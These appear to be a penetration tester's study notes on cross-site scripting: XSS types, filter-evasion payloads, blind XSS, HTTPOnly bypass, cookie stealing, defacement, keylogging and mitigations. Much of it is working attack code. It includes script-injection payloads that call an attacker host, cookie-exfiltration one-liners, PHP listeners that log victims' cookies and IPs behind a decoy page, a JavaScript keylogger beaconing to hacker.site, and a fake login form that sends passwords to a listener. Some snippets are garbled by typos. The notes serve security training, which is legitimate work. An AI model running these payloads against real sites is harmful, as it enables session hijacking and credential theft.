XSS attack - Cross-Site Scripting
OWASP reference
OWASP Web Security Testing Guide 4.2 > 7. Data Validation Testing > 7.2. Testing for Stored Cross Site Scripting
ID | Link to Hackinglife | Link to OWASP | Description |
---|---|---|---|
7.1 | WSTG-INPV-01 | Testing for Reflected Cross Site Scripting | - Identify variables that are reflected in responses. - Assess the input they accept and the encoding that gets applied on return (if any). |
7.2 | WSTG-INPV-02 | Testing for Stored Cross Site Scripting | - Identify stored input that is reflected on the client-side. - Assess the input they accept and the encoding that gets applied on return (if any). |
11.1 | WSTG-CLNT-01 | Testing for DOM-Based Cross Site Scripting | - Identify DOM sinks. - Build payloads that pertain to every sink type. |
Sources for these notes
- My Ine: eWPTv2.
- Hacktricks.
- HackTheBox Cross-Site Scripting module.
- XSS Filter Evasion Cheat Sheet¶.
- OWASP: WSTG.
- Notes during the Cibersecurity Bootcamp at The Bridge.
- Experience pentesting applications.
Cross-Site scripting (XSS) is a client-side web vulnerability that allows attackers to inject malicious scripts into web pages. This vulnerability is typically caused by a lack of input sanitization/validation in web applications. Attackers leverage XSS vulnerabilities to inject malicious code into web applications. Because XSS is a client side vulnerability, these scripts are executed by the victims browser. XSS vulnerabilities affect web applications that lack input validation and leverage client-side scripting languages like Javascript, Flash, CSS etc.
There are many other types of XSS attacks, from Bitcoin mining to displaying ads. 2As XSS attacks execute JavaScript code within the browser, they are limited to the browser's JS engine (i.e., V8 in Chrome). They cannot execute system-wide JavaScript code to do something like system-level code execution.
# Quick steps to test XSS
# 1. Find a reflection point (inspect source code and expand all tags to make sure that it's really a reflection point and it's not parsing your input)
# 2. Test with <i> tag
# 3. Test with HTML/JavaScript code (alert('XSS'))
But, of course, you may use an extensive repository of payloads. This OWASP cheat sheet is kind of a bible.
XSS attacks are typically exploited for the following objectives:
- Cookie stealing/Session hijacking - Stealing cookies from users with authenticated sessions, allowing you to login as other users by leveraging the authentication information contained within a cookie.
- Browser exploitation - Exploitation of browser vulnerabilities.
- Keylogging - Logging keyboard entries made by other users on a web application.
- Phishing - Injecting fake login forms into a webpage to capture credentials.
- ... and many more.
Types of Cross-Site Scripting XSS
1. Reflected attacks: malicious payload is carried inside the request that the browser sends. You need to bypass the anti-xss filters. This way when the victim clicks on it it will be sending their information to the attacker (limited to js events).
Example:
2. Persistent or stored XSS attacks: payload is sent to the web server and then stored. The most common vector for these attacks are HTML forms that submit content to the web server and then display that content back to the users (comments, user profiles, forum posts…). Basically if the url somehow stays in the server, then, every time that someone accesses to it, they will suffer the attack.
3. DOM based XSS attacks: tricky one. This time the javascript file procedes from the server, and in that sense, the file is trusteable. Nevertheless, the file modifies changes in the web structure. Quoting OWASP: "DOM Based XSS (or as it is called in some texts, “type-0 XSS”) is an XSS attack wherein the attack payload is executed as a result of modifying the DOM “environment” in the victim’s browser used by the original client side script, so that the client side code runs in an unexpected manner".
1. Reflected Cross Site Scripting
OWASP Web Security Testing Guide 4.2 > 7. Data Validation Testing > 7.1. Testing for Reflected Cross Site Scripting
ID | Link to Hackinglife | Link to OWASP | Description |
---|---|---|---|
7.1 | WSTG-INPV-01 | Testing for Reflected Cross Site Scripting | - Identify variables that are reflected in responses. - Assess the input they accept and the encoding that gets applied on return (if any). |
Reflected Cross-site Scripting (XSS) occur when an attacker injects browser executable code within a single HTTP response. The injected attack is not stored within the application itself; it is non-persistent and only impacts users who open a maliciously crafted link or third-party web page. When a web application is vulnerable to this type of attack, it will pass unvalidated input sent through requests back to the client.
XSS Filter Evasion Cheat Sheet
Causes
This vulnerable PHP code in a welcome page may lead to an XSS attack:
2. Persistent or stored Cross Site Scripting
OWASP reference
OWASP Web Security Testing Guide 4.2 > 7. Data Validation Testing > 7.2. Testing for Stored Cross Site Scripting
ID | Link to Hackinglife | Link to OWASP | Description |
---|---|---|---|
7.2 | WSTG-INPV-02 | Testing for Stored Cross Site Scripting | - Identify stored input that is reflected on the client-side. - Assess the input they accept and the encoding that gets applied on return (if any). |
Stored cross-site scripting is a vulnerability where an attacker is able to inject Javascript code into a web application’s database or source code via an input that is not sanitized. For example, if an attacker is able to inject a malicious XSS payload in to a webpage on a website without proper sanitization, the XSS payload injected in to the webpage will be executed by the browser of anyone that visits that webpage.
Causes
This vulnerable PHP code in a welcome page may lead to a stored XSS attack:
<?php
$file = 'newcomers.log';
if(@$_GET['name']){
$current = file_get_contents($file);
$current .= $_GET['name']."\n";
//store the newcomer
file_put_contents($file, $current);
}
//If admin show newcomers
if(@$_GET['admin']==1)
echo file_get_contents($file);
?>
Welcome <?=$name?>
3. DOM Cross Site Scripting (Type-0 or Local XSS)
OWASP reference
OWASP Web Security Testing Guide 4.2 > 7. Data Validation Testing > 7.2. Testing for Stored Cross Site Scripting
ID | Link to Hackinglife | Link to OWASP | Description |
---|---|---|---|
11.1 | WSTG-CLNT-01 | Testing for DOM-Based Cross Site Scripting | - Identify DOM sinks. - Build payloads that pertain to every sink type. |
The key in exploiting this XSS flaw is that the client-side script code can access the browser's DOM, thus all the information available in it. Examples of this information are the URL, history, cookies, local storage,... Technically there are two keywords: sources and sinks. Let's use the following vulnerable code:
Causes
This vulnerable code in a welcome page may lead to a DOM XSS attack: http://example.com/#w!Giuseppe
<h1 id='welcome'></h1>
<script>
var w = "Welcome";
var name = document.location.hash.search(/#W!1)+3,
document.location.hash.length
);
document.getElementById('Welcome').innerHTML = w + name;
</script>
location.hash is the source of the untrusted input. .innerHTML is the sink where the input is used.
To deliver a DOM-based XSS attack, you need to place data into a source so that it is propagated to a sink and causes execution of arbitrary JavaScript.
The most common source for DOM XSS is the URL, which is typically accessed with the window.location
object.
What is a sink? A sink is a potentially dangerous JavaScript function or DOM object that can cause undesirable effects if attacker-controlled data is passed to it. For example, the eval()
function is a sink because it processes the argument that is passed to it as JavaScript. An example of an HTML sink is document.body.innerHTML
because it potentially allows an attacker to inject malicious HTML and execute arbitrary JavaScript.
Summing up: you should avoid allowing data from any untrusted source to be dynamically written to the HTML document.
Which sinks can lead to DOM-XSS vulnerabilities:
- document.write()
- document.writeln()
- document.replace()
- document.domain
- element.innerHTML
- element.outerHTML
- element.insertAdjacentHTML
- element.onevent
Furthermore, some of the jQuery
library functions that write to DOM objects are:
add()
after()
append()
This project, DOMXSS wiki aims to identify sources and sinks methods exposed by public, widely used javascript frameworks.
4. Universal XSS (UXSS)
Universal XSS is a particular type of Cross Site Scripting that does not leverage the flaws against web application, but the browser, its extensions or its plugins. A typical example for this could be found within the Google Chrome WordReference Extension, that did not properly sanitized the input of the search.
Attack techniques
Quick steps to test XSS
1. Detect input vectors. Find a reflection point for a given input entry. This is tricky, since sometimes the entered value is reflected on a different part of the application.
2. Check impact. Once identified the reflection point, inspect source code and recursively expand all tags to make sure that it's really a reflection point and it's not parsing your input. This is also tricky, but there are techniques as encoding and double encoding that will allow us to bypass some XSS filters.
3. Classify correctly what your injection point is like. Are you injecting raw HTML directly or a HTML tag? Are you injecting a tag attribute value? Are you injecting into the javascript code? Where in the DOM are you operating? Is there a WAF tampering your input? Answering these questions is the same of knowing what characters you are needing to escape.
1. Bypassing XSS filters
Reflected cross-site scripting attacks are prevented as the web application sanitizes input, a web application firewall blocks malicious input, or by mechanisms embedded in modern web browsers.
1.1. Injecting inside raw HTML
1.2. Injecting into HTML tags
Firstly, some common escaping characters that may be parsed (and you need to further investigate to see how the application is treating them) are:
>
(greater than)<
(less than)&
(ampersand)'
(apostrophe or single quote)"
(double quote)
Additionally, there might exist a filter for the characters script
. Being that the case:
1. Insert unexpected variations in the syntax such as random capitalization, blank spaces, new lines...:
2. Bypass non-recursive filtering:
3. Bypass encoding.
# Simple encoding
"%3cscript%3ealert(document.cookie)%3c/script%3e
# More encoding techniques:
# 1. We lookk for a charcode calculator and enter our payload, for instance "lala" would be: 34, 108, 97, 108, 97, 34
# 2. Them we put those numbers in our payload
<script>alert(String.fromCharCode(34, 108, 97, 108, 97, 34))</script>
Double encoding is very effective. I've run into cases in the wild.
4. Unexpected parent tags:
5. Unexpected weird attributes, null bytes:
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
More. If the script
tag is super blacklisted in all their forms, use other tags:
Or even, make out your own:
1.3. Injecting into HTML attributes
a) id
For instance, this injection endpoint (INJ):
A payload for grabbing the cookies and have them sent to our attacker server would be:
b) href
For instance, this injection endpoint (INJ):
A payload for grabbing the cookies and have them sent to our attacker server would be:
c) height
For instance, this injection endpoint (INJ):
A payload for grabbing the cookies and have them sent to our attacker server would be:
1. One nice technique is using non-common javascript events.
# The usual payloads contains these events:
alert()
confirm()
prompt()
# Try others:
onload()
onerror()
onmousehover
...
See complete reference at: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
2. Sometimes the events are filtered. This is a very common regex for filtering:
Bypassing it:
<svg/onload=alert(1)>
<svg//////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id='x'onload=alert(1)>
3. Bettering up the filter:
Bypassing it:
<svg onload%09=alert(1)>
<svg %09onload=alert(1)>
<svg %09onload%09=alert(1)>
<svg onload%09%20%28%2c%3B=alert(1)>
<svg onload%0B=alert(1)>
https://shazzer.co.uk/vectors is a great resource to see potential attack vectors.
1.4. Going beyond the <script>
tag
<a href="javascript:alert(1)">click</a>
<a href="data:text/html;base64,amF2YXNjcmlwdDphbGVyKDEp">click</a>
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
1.5. Bypassing browser's limitations
One such XSS payload is <plaintext>
, which will stop rendering the HTML code that comes after it and display it as plaintext.
Another easy-to-spot payload is <script>print()</script>
that will pop up the browser print dialog, which is unlikely to be blocked by any browsers. Try using these payloads to see how each works. You may use the reset button to remove any current payloads.
1.6. Blind XSS: hijacking
Step 1
A Blind XSS vulnerability occurs when the vulnerability is triggered on a page we don't have access to. Blind XSS vulnerabilities usually occur with forms only accessible by certain users (e.g., Admins).
1. Find the injection point. For that imaging a form with fields name, surname, username, profilepicture....
2. Find a payload that works. For that, have in the attacker server the following file index.php:
<?php
if (isset($_GET['c'])) {
$list = explode(";", $_GET['c']);
foreach ($list as $key => $value) {
$cookie = urldecode($value);
$file = fopen("cookies.txt", "a+");
fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
fclose($file);
}
}
?>
3. Have a php server listening:
4. Use the field name (username, name, surname...) as <custom.name>
when trying these payloads:
"><script src="https://attackerip/<custom.name>"></script>
<script src="https://attackerip/<custom.name>"></script>
<script src=http://attackerip/<custom.name>></script>
'><script src=http://attackerip/<custom.name>></script>
"><script src=http://attackerip/<custom.name>></script>
javascript:eval('var a=document.createElement(\'script\');a.src=\'http://attackerip\';document.body.appendChild(a)')
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//attackerip");a.send();</script>
<script>$.getScript("http://attackerip/<custom.name>")</script>
If successful, you will see a connection in your php server like this:
Then, profile
would be the vulnerable parameter.
Step 2: Exfiltrating cookies
1. Beside the index.php, have a lala.js in your php server:
Another payload could be:
2. Run your php server:
3. Now, we can change the URL in the XSS payload we found earlier to use lala.js
. For instance:
4. You will log the following activity in your php server:
2. Bypassing the HTTPOnly flag
The HTTPOnly flag can be enabled with the response header Set-Cookie
:
HTTPOnly forbids javaScript from accessing the cookies, for example, through the Document.cookie
property.
2.1. Cross Site Tracing
OWASP Cross Site Tracing reference
Technique for bypassing HTTPOnly flag. Since scripting languages are blocked due to the use of HTTPOnly, this technique proposes to use the HTTP TRACE method.
HTTP TRACE method is a method used for debugging, and it echoes back input requests to the user. So, if we send HTTP headers normally inaccessible to Javascript, we will be able to read them.
We will take advantage of the javascript object XMLHttpRequest
that provides a way to retrieve data from an URL without having to do a full page refresh:
<script> //TRACE Request
var xmlhttp = new XMLHttpRequest()M
var url = 'http://victim.site/';
xmlhttp.withCredentials = true; // Send cookie header
xmlhttp.open('TRACE', url);
// Callback to log all response headers
function hand() { console.log(this.getAllResponseHeaders());}
xmlhttp.onreadystatechange = hand;
xmlhttp.send(); // Send the request
</script>
Modern browsers block the HTTP TRACE method in XMLHttpRequest and other scripting languages and libraries such as JQuery, Silverlight... But if the attacker finds another way of doing HTTP TRACE requests, then they can bypass the HTTPOnly flag.
For instance, Amit Klein found a simple trick for IE 6.0 SP2. Instead of using TRACE for the method, he used
\r\nTRACE
and the payload worked under certain circumstances.CVE-2012-0053: Apache HTTPOnly cookie disclosure. For Apache HTTP Server 2.2.x through 2.2.21. For an HTTP-Header value exceeding the server limits, the server responded with a HTTP 400 Bad Request including the complete headers containing the HTTPOnly cookies. (https://gist.github.com/pilate/1955a1c28324d4724b7b). BeEF has a module named Apache Cookie Disclosure, available under Exploits section.
2.2. BeEF Tunneling Proxy
An alternative to stealing protected cookies is to use the victim browser as a proxy. The Tunneling Proxy in BeEF exploits the XSS flaw and uses the victim browser to perform requests as the victim user to the web application. Basically, it tunnels requests through the hooked browser. By doing so, there is no way for the web application to distinguish between requests coming from legitimate user and requests forged by an atacker. BeEF allows you to bypass other web developer protection techniques such as using multiple validations (User-agent, custom headers,...)
Bypassing WAFs
ModSecurity
Examples of typical attacks
1. Cookie stealing: examples and techniques
Example 1
Identify an injection endpoint and test that the app is vulnerable to a basic xss payload such as:
Once you know is vulnerable, prepare a malicious javascript code for stealing the cookies:
Add that code to the injection endpoint that you detected in step 1. That code will save the cookie in a text file on the attacker site.
Create a text file (log.php) for capturing the sent cookie in the attacker site:
<?php
$filename=”/tmp/log.txt”;
$fp=fopen($filename, ‘a’);
$cookie=$_GET[‘q`];
fwrite($fp, $cookie);
fclose($fp);
?>
Open the listener in the attacker site and send the crafted URL with the payload included:
Once someone open it, they will be sending to the attacker their cookies jar.
Example 2
-
The attacker creates a get.php file and saves it into its server.
-
This php file will store the data that the attacker server receives into a file.
-
This could be the content of the get.php file:
<?php
$ip = $_SERVER(‘REMOTE_ADDR’);
$browser = $_SERVER(‘HTTP_USER_AGENT’);
$fp = fopen(‘jar.txt’, ‘a’);
fwrite($fp, $ip . ‘ ‘ . $browser . “ \n”);
fwrite($fp, urldecode($_SERVER[‘QUERY_STRING’]) . “ \n\n”);
fclose($fp);
?>
Initiate the php server in the attacker machine:
- Now in the web server the attacker achieve to store this payload:
<script>
var i = new Image();
i.src = “http://attacker.site/get.php?cookie=”+escape(document.cookie);
</script>
# Or in one line:
<script>var i = new Image(); i.src = “http://10.86.74.7/moville.php?cookie=”+escape(document.cookie); </script>
Techniques for cookie stealing
Let's suppose we have our PHP script C.php listening on our hacker.site domain.
Example of C.php Simple Listerner:
# Instruct the script to simply store the GET['cc'] content in a file
<?php
error_reporting(0); # Turn off all error reporting
$cookie= $_GET['cc']; # Request to log
$file= '_cc_.txt'; # The log file
$handle= fopen($file,"a"); # Open log file in append mode
fwrite($handle,$cookie."\n"); # Append the cookie
fclose($handle); # Append the cookie
echo '<h1>Page under construction</h1>'; # Trying to hide suspects.
Example of C.php Listerner recording hosts, time of logging, IP addresses:
# Instruct the script to simply store the GET['cc'] content in a file
<?php
error_reporting(0); # Turn off all error reporting
function getVictimIP()= { ... } # Function that returns victim IP
function collect() {
$file= '_cc_.txt'; # The log file
$date=date("l dS of F Y h:i:s A");
$IP=getVictimIP();
$cookie= $_SERVER['QUERY_STRING'];
$log="[$date]\n\t> VictimIP: $IP\n\t> Cookies: $cookie\n\t> Extra info: $info\n";
$handle= fopen($file,"a"); # Open log file in append mode
fwrite($handle,$log."\n\b"); # Append the cookie
fclose($handle); # Append the cookie
}
collect();
echo '<h1>Page under construction</h1>'; # Trying to hide suspects.
Additionally we can use: netcat, Beef,...
2. DOM based attack: incorrect use of eval()
In the following website we can see the code below:
And in the source code we can pinpoint this script:
<script>
var statement = document.URL.split("statement=")[1];
document.getElementById("result").innerHTML = eval(statement);
</script>
This JavaScript code is responsible for calculating and dynamically displaying the result of the arithmetic operation via the DOM splits the URL and parses the value of the statement parameter to the JavaScript eval() function for evaluation/calculation.
The JavaScript eval() function is typically used by developers to evaluate JavaScript code, however, in this case, it has been improperly implemented to evaluate/perform the arithmetic operation specified by the user.
NOTE: The eval() function should never be used to execute JavaScript code in the form of a string as it can be leveraged by attackers to perform arbitrary code execution.
Given the improper implementation of the eval() function, we can inject our XSS payload as a value of the statement parameter and forces the eval() function to execute the JavaScript payload.
3. Defacements
We may categorize defacements into two types: Non-persistent (Virtuals) and Persistent.
- Non-persistent defacements don't modify the content hosted on the target web application. They are basically abusing Reflected XSS.
# Code
<?php $name = @$_GET['name']; ?>
Welcome <?=$name?>
# URL
https://victim.site/XSS/reflected.php?name=%3Cscript%3Edocument.body.innerHTML=%22%3Cimg%20src=%27http://hackersite/pwned.png%27%3E%22%3C/script%3E
- Persistent defacements modify permanently the content hosted on the target web application. They are basically abusing Stored XSS.
Three HTML elements are usually utilized to change the main look of a web page:
- Background Color
document.body.style.background
- Background
document.body.background
- Page Title
document.title
- Page Text
DOM.innerHTML
<script>document.getElementById("todo").innerHTML = "New Text"</script>
<script>document.getElementsByTagName('body')[0].innerHTML = '<center><h1 style="color: white">Cyber Security Training</h1><p style="color: white">by <img src="https://academy.hackthebox.com/images/logo-htb.svg" height="25px" alt="HTB Academy"> </p></center>'</script>
Defacement with credential stealing: Consider this payload in a website.
\`/'</script/--!><h3>Please login to continue</h3><form action=http://10.10.14.198> <input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>
Have a netcat listener ready for getting the creds that may be sent. If any victim attempts to log in with the form, we will get their credentials.
4. Keyloggers
A tool: http_javascript_keylogger. See also my notes on that metasploit module.
Event logger from BeEF.
The following code:
var keys = "" //Where > where to store the key strokes
document.onkeypress = function(e) {
var get = windows.event ? event : eM
var key = get.keyCode ? get.keyCode : get.charCode;
key = String.fromCharCode(key);
keys += key;
}
window.setInterval(function()) {
if(keys != "") {
//HOW> sends the key strokes via GET using an Image element to listening hacker.site server
var path = encodeURI("http://hacker.site/keylogger?k=" + keys);
new Image().src = path;
keys = "";
}
}, 1000; // WHEN > sends the key strokes every second
Additionally, we have the metasploit module auxiliary(http_javascript_keylogger), an advance version of the previous javascript code. It creates the Javascript payload with a keylogger, which could be injected within the vulnerable web page and automatically starts the listening server. To see how it works, set the DEMO option to true.
5. Network attacks
A way to enter within intranet networks is by passing through HTTP traffic that, despite other protocols, is usually allowed to pass by firewalls.
1. IP detection
The first step before putting your feet in a network is to retrieve as much network information as possible about the hooked browser. For instance by revealing its internal IP address and subnet.
Traditionally, this required the use of external browser's pluggins such as Java JRE and some interaction from the victim: - Installing My Address Java Applet: Unsigned java applet that retrieves IP. - Changing the java security settings enabling or reducing the security level).
Use of https://net.ipcalf.com/ , that abuses WebRTC HTML5 feature.
2. Subnet detection
3. Ping Sweeping
6. Bypassing restrictions in frameset tag
See https://www.doyler.net/security-not-included/frameset-xss.
7. Blind XSS
A Blind XSS vulnerability occurs when the vulnerability is triggered on a page we don't have access to. Blind XSS vulnerabilities usually occur with forms only accessible by certain users (e.g., Admins). Some potential examples include:
- Contact Forms
- Reviews
- User Details
- Support Tickets
- HTTP User-Agent header
Some payloads:
<script src=http://OUR_IP></script>
'><script src=http://OUR_IP></script>
"><script src=http://OUR_IP></script>
javascript:eval('var a=document.createElement(\'script\');a.src=\'http://OUR_IP\';document.body.appendChild(a)')
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//OUR_IP");a.send();</script>
<script>$.getScript("http://OUR_IP")</script>
Mitigations for cookie stealing
The most important aspect of preventing XSS vulnerabilities is proper input sanitization and validation on both the front and back end. In addition to that, other security measures can be taken to help prevent XSS attacks.
1. Input validation
Frontend-side protection
As example, the following code validate the email input field frontend-side.
function validateEmail(email) {
const re = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
return re.test($("#login input[name=email]").val());
}
Backend-side protection
Input validation in the back-end is quite similar to the front-end, and it uses Regex or library functions to ensure that the input field is what is expected. If it does not match, then the back-end server will reject it and not display it.
if (filter_var($_GET['email'], FILTER_VALIDATE_EMAIL)) {
// do task
} else {
// reject input - do not display it
}
For a NodeJS back-end, we can use the same JavaScript code mentioned earlier for the front-end.
2. Input sanitization
Frontend-side protection
We should always ensure that we do not allow any input with JavaScript code in it, by escaping any special characters. For this, we can utilize the DOMPurify JavaScript library, as follows:
<script type="text/javascript" src="dist/purify.min.js"></script>
let clean = DOMPurify.sanitize( dirty );
Backend-side protection
When it comes to input sanitization, then the back-end plays a vital role, as front-end input sanitization can be easily bypassed by sending custom GET
or POST
requests. For example, for a PHP back-end, we can use the addslashes
function to sanitize user input by escaping special characters with a backslash:
For a NodeJS back-end, we can also use the DOMPurify library as we did with the front-end, as follows:
3. Never use input directly within certain HTML tags
Frontend-side protection
Never use user input directly within certain HTML tags. If user input goes into any of the following examples, it can inject malicious JavaScript code:
- JavaScript code
<script></script>
- CSS Style Code
<style></style>
- Tag/Attribute Fields
<div name='INPUT'></div>
- HTML Comments
<!-- -->
Avoid using JavaScript functions that allow changing raw text of HTML fields, like:
DOM.innerHTML
DOM.outerHTML
document.write()
document.writeln()
document.domain
Avoid the following jQuery functions:
html()
parseHTML()
add()
append()
prepend()
after()
insertAfter()
before()
insertBefore()
replaceAll()
replaceWith()
As these functions write raw text to the HTML code, if any user input goes into them, it may include malicious JavaScript code, which leads to an XSS vulnerability.
Backend-side protection or Output HTML Encoding
Another important aspect to pay attention to in the back-end is Output Encoding
. This means that we have to encode any special characters into their HTML codes, which is helpful if we need to display the entire user input without introducing an XSS vulnerability.
For a PHP back-end, we can use the htmlspecialchars
or the htmlentities
functions, which would encode certain special characters into their HTML codes (e.g. <
into <
):
For a NodeJS back-end, we can use any library that does HTML encoding, like html-entities
, as follows:
Server configurations
- Using HTTPS across the entire domain.
- Using XSS prevention headers.
- Using the appropriate Content-Type for the page, like
X-Content-Type-Options=nosniff
. - Using
Content-Security-Policy
options, likescript-src 'self'
, which only allows locally hosted scripts. - Using the
HttpOnly
andSecure
cookie flags to prevent JavaScript from reading cookies and only transport them over HTTPS.
HTTPOnly
The HTTPOnly flag can be enabled with the response header Set-Cookie
:
HTTPOnly forbids javaScript from accessing the cookies, for example, through the Document.cookie
property. Note that a cookie that has been created with HttpOnly
directive will still be sent with JavaScript-initiated requests, for example, when calling XMLHttpRequest.send()
or fetch()
. This mitigates attacks against cross-site scripting XSS.
Having a WAF...
... well configured
Tools and payloads
- XSSER: An automated web pentesting framework tool to detect and exploit XSS vulnerabilities
- XSS Strike
- Brute XSS
- Vectors (payload) regularly updated: https://portswigger.net/web-security/cross-site-scripting/cheat-sheet.
-
Evasion Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html.
-
Payloads: